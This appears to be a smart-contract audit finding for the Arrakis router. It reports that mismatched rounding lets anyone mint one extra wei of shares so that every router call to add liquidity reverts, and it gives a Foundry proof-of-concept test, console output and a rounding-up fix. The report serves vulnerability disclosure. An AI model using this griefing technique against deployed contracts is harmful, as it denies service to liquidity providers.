Due to incorrect rounding, a malicious user can cause the router to ALWAYS revert on adding liquidity
Summary
See detail
Vulnerability Detail
In the _getMintAmounts() function of the ArrakisPublicVaultRouter contract, it calculates the amount0ToDeposit and amount1ToDeposit via the following calculation:
However after calling mint() on the public vault, the ValantisHOTModulePublic.deposit() calculates the actual amount0 and amount1 to obtain from the router via:
The issue is that the calculation rounds up in the ValantisHOTModulePublic, but rounds down in the ArrakisPublicVaultRouter
Hence, the amount0ToDeposit which the router approves to the module within _addLiquidity() will be insufficient. This leads to a revert when the module attempts to transfer amount0 and amount1 worth of tokens from the router.
Impact
Every function in the ArrakisPublicVaultRouter which involves adding liquidity is vulnerable, and will revert whenever the mulDiv operation rounds down (so whenever the division has a remainder, which is the vast majority of cases).
This is severe since anyone can simply mint an extra 1 wei of shares to ensure that adding liquidity via the router always reverts.
Proof of Concept
This PoC demonstrates that having the total supply as 1e18+1 leads to reverting when trying to add liquidity via the router, due to rounding down when estimating the required amount0 and amount1 to approve to the module.
To run the PoC:
Add the following test to arrakis-modular/test/integration
Add the virtual keyword to ValantisIntegrationPublicTest.setUp()- so that setUp() can be over-written
Run forge test --mt test_addLiquidity_Fails -vv
Coded PoC
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import {console} from "forge-std/console.sol";
import {IArrakisMetaVault} from
"../../src/interfaces/IArrakisMetaVault.sol";
import {ArrakisMetaVaultPublic} from "../../src/ArrakisMetaVaultPublic.sol";
import {ArrakisPublicVaultRouter} from
"../../src/ArrakisPublicVaultRouter.sol";
import {RouterSwapExecutor} from "../../src/RouterSwapExecutor.sol";
import {AddLiquidityData} from "../../src/structs/SRouter.sol";
import {NATIVE_COIN} from "../../src/constants/CArrakis.sol";
import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
contract RouterTest is ValantisIntegrationPublicTest {
// #region public properties.
ArrakisPublicVaultRouter public router;
RouterSwapExecutor public swapExecutor;
address routerOwner;
uint256 public constant MINIMUM_LIQUIDITY = 1e3;
function setUp() public override {
super.setUp();
routerOwner = makeAddr("routerOwner");
router = new ArrakisPublicVaultRouter(
NATIVE_COIN,
address(1),
routerOwner,
address(factory),
WETH
);
swapExecutor =
new RouterSwapExecutor(address(router), NATIVE_COIN);
vm.prank(routerOwner);
router.updateSwapExecutor(address(swapExecutor));
}
function test_addLiquidity_Fails() public {
// #region create public vault.
// Initially mint 1e18 + 1 tokens, so that division by totalSupply rounds down
initial_mint(1e18+1);
ArrakisMetaVaultPublic publicVault = ArrakisMetaVaultPublic(vault);
AddLiquidityData memory params = AddLiquidityData({
amount0Max: 2e9,
amount1Max: 1e18,
amount0Min: 1.99e9,
amount1Min: 0.99e17,
amountSharesMin: 0,
vault: address(vault),
receiver: address(this)
});
deal(address(token0), address(this), 2e9);
deal(address(token1), address(this), 1e18);
token0.approve(address(router), 2e9);
token1.approve(address(router), 1e18);
console.log("\n--ADDING LIQUIDITY--\n");
vm.expectRevert("ERC20: transfer amount exceeds allowance");
router.addLiquidity(params);
}
function initial_mint(uint256 _shares) public {
address user = vm.addr(uint256(keccak256(abi.encode("User"))));
address receiver =
vm.addr(uint256(keccak256(abi.encode("Receiver"))));
uint256 give0 = 4e9;
uint256 give1 = 2e18;
deal(address(token0), user, give0);
deal(address(token1), user, give1);
address m = address(IArrakisMetaVault(vault).module());
vm.startPrank(user);
token0.approve(m, give0);
token1.approve(m, give1);
ArrakisMetaVaultPublic(vault).mint(_shares, receiver);
vm.stopPrank();
}
}
```
(I added some logs within ValantisModulePublic.deposit() and ArrakisPublicVaultRouter._getMintAmounts() to demonstrate the discrepancies in calculations)
Console output
```bash
[PASS] test_addLiquidity_Fails() (gas: 1425357)
Logs:
amount0In required: 2000000001
amount1In required: 1000000000000000001
--ADDING LIQUIDITY--
amount0 approved to module: 1999999999
amount1 approved to module: 999999999500000000
amount0In required: 2000000000
amount1In required: 999999999500000001
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 425.65ms
Ran 1 test suite in 425.65ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
Notice how ‘amount0 approved to module’ 1 less than ‘amount0In required', that is what leads to the revert.
juaan
high
Due to incorrect rounding, a malicious user can cause the router to ALWAYS revert on adding liquidity
Summary
See detail
Vulnerability Detail
In the
_getMintAmounts()function of theArrakisPublicVaultRoutercontract, it calculates theamount0ToDepositandamount1ToDepositvia the following calculation:However after calling
mint()on the public vault, theValantisHOTModulePublic.deposit()calculates the actualamount0andamount1to obtain from the router via:The issue is that the calculation rounds up in the
ValantisHOTModulePublic, but rounds down in theArrakisPublicVaultRouterHence, the
amount0ToDepositwhich the router approves to the module within_addLiquidity()will be insufficient. This leads to a revert when the module attempts to transferamount0andamount1worth of tokens from the router.Impact
Every function in the
ArrakisPublicVaultRouterwhich involves adding liquidity is vulnerable, and will revert whenever themulDivoperation rounds down (so whenever the division has a remainder, which is the vast majority of cases).This is severe since anyone can simply mint an extra 1 wei of shares to ensure that adding liquidity via the router always reverts.
Proof of Concept
This PoC demonstrates that having the total supply as
1e18+1leads to reverting when trying to add liquidity via the router, due to rounding down when estimating the requiredamount0andamount1to approve to the module.To run the PoC:
arrakis-modular/test/integrationvirtualkeyword toValantisIntegrationPublicTest.setUp()- so thatsetUp()can be over-writtenforge test --mt test_addLiquidity_Fails -vvCoded PoC
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.19; import {console} from "forge-std/console.sol"; import {IArrakisMetaVault} from "../../src/interfaces/IArrakisMetaVault.sol"; import {ArrakisMetaVaultPublic} from "../../src/ArrakisMetaVaultPublic.sol"; import {ArrakisPublicVaultRouter} from "../../src/ArrakisPublicVaultRouter.sol"; import {RouterSwapExecutor} from "../../src/RouterSwapExecutor.sol"; import {AddLiquidityData} from "../../src/structs/SRouter.sol"; import {NATIVE_COIN} from "../../src/constants/CArrakis.sol"; import {ValantisIntegrationPublicTest} from "./ValantisIntegrationPublic.t.sol"; import {IERC20} from "forge-std/interfaces/IERC20.sol"; contract RouterTest is ValantisIntegrationPublicTest { // #region public properties. ArrakisPublicVaultRouter public router; RouterSwapExecutor public swapExecutor; address routerOwner; uint256 public constant MINIMUM_LIQUIDITY = 1e3; function setUp() public override { super.setUp(); routerOwner = makeAddr("routerOwner"); router = new ArrakisPublicVaultRouter( NATIVE_COIN, address(1), routerOwner, address(factory), WETH ); swapExecutor = new RouterSwapExecutor(address(router), NATIVE_COIN); vm.prank(routerOwner); router.updateSwapExecutor(address(swapExecutor)); } function test_addLiquidity_Fails() public { // #region create public vault. // Initially mint 1e18 + 1 tokens, so that division by totalSupply rounds down initial_mint(1e18+1); ArrakisMetaVaultPublic publicVault = ArrakisMetaVaultPublic(vault); AddLiquidityData memory params = AddLiquidityData({ amount0Max: 2e9, amount1Max: 1e18, amount0Min: 1.99e9, amount1Min: 0.99e17, amountSharesMin: 0, vault: address(vault), receiver: address(this) }); deal(address(token0), address(this), 2e9); deal(address(token1), address(this), 1e18); token0.approve(address(router), 2e9); token1.approve(address(router), 1e18); console.log("\n--ADDING LIQUIDITY--\n"); vm.expectRevert("ERC20: transfer amount exceeds allowance"); router.addLiquidity(params); } function initial_mint(uint256 _shares) public { address user = vm.addr(uint256(keccak256(abi.encode("User")))); address receiver = vm.addr(uint256(keccak256(abi.encode("Receiver")))); uint256 give0 = 4e9; uint256 give1 = 2e18; deal(address(token0), user, give0); deal(address(token1), user, give1); address m = address(IArrakisMetaVault(vault).module()); vm.startPrank(user); token0.approve(m, give0); token1.approve(m, give1); ArrakisMetaVaultPublic(vault).mint(_shares, receiver); vm.stopPrank(); } } ```(I added some logs within
ValantisModulePublic.deposit()andArrakisPublicVaultRouter._getMintAmounts()to demonstrate the discrepancies in calculations)Console output
```bash [PASS] test_addLiquidity_Fails() (gas: 1425357) Logs: amount0In required: 2000000001 amount1In required: 1000000000000000001 --ADDING LIQUIDITY-- amount0 approved to module: 1999999999 amount1 approved to module: 999999999500000000 amount0In required: 2000000000 amount1In required: 999999999500000001 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 425.65ms Ran 1 test suite in 425.65ms: 1 tests passed, 0 failed, 0 skipped (1 total tests) ```Notice how ‘amount0 approved to module’ 1 less than ‘amount0In required', that is what leads to the revert.
Code Snippet
ArrakisPublicVaultRouter
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L1228-L1229
ValantisHOTModulePublic
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L71-L74
Tool used
Manual Review
Recommendation
Use
FullMath.mulDivRoundingUpwhen calculatingamount0ToDepositandamount1ToDepositDuplicate of #54